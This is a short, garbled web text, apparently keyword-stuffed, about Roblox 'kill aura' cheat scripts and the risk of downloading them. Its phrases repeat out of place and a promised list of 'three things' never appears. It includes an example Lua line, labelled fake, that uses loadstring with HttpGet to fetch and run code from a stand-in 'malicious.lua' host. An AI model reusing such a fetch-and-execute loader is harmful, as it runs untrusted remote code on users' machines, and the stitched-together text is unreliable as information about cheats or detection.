No script is undetectable. Every cheat has a shelf life, typically measured in hours or days.
Some Roblox games intentionally have Kill Aura-like abilities: Roblox Kill Aura Script Any Game
When you download a "kill aura any game" script from a YouTube video or a sketchy Discord server, you are likely getting one of three things: No script is undetectable
-- FAKE SCRIPT FOR EDUCATIONAL PURPOSES ONLY loadstring(game:HttpGet("https://example.com/malicious.lua"))() Roblox Kill Aura Script Any Game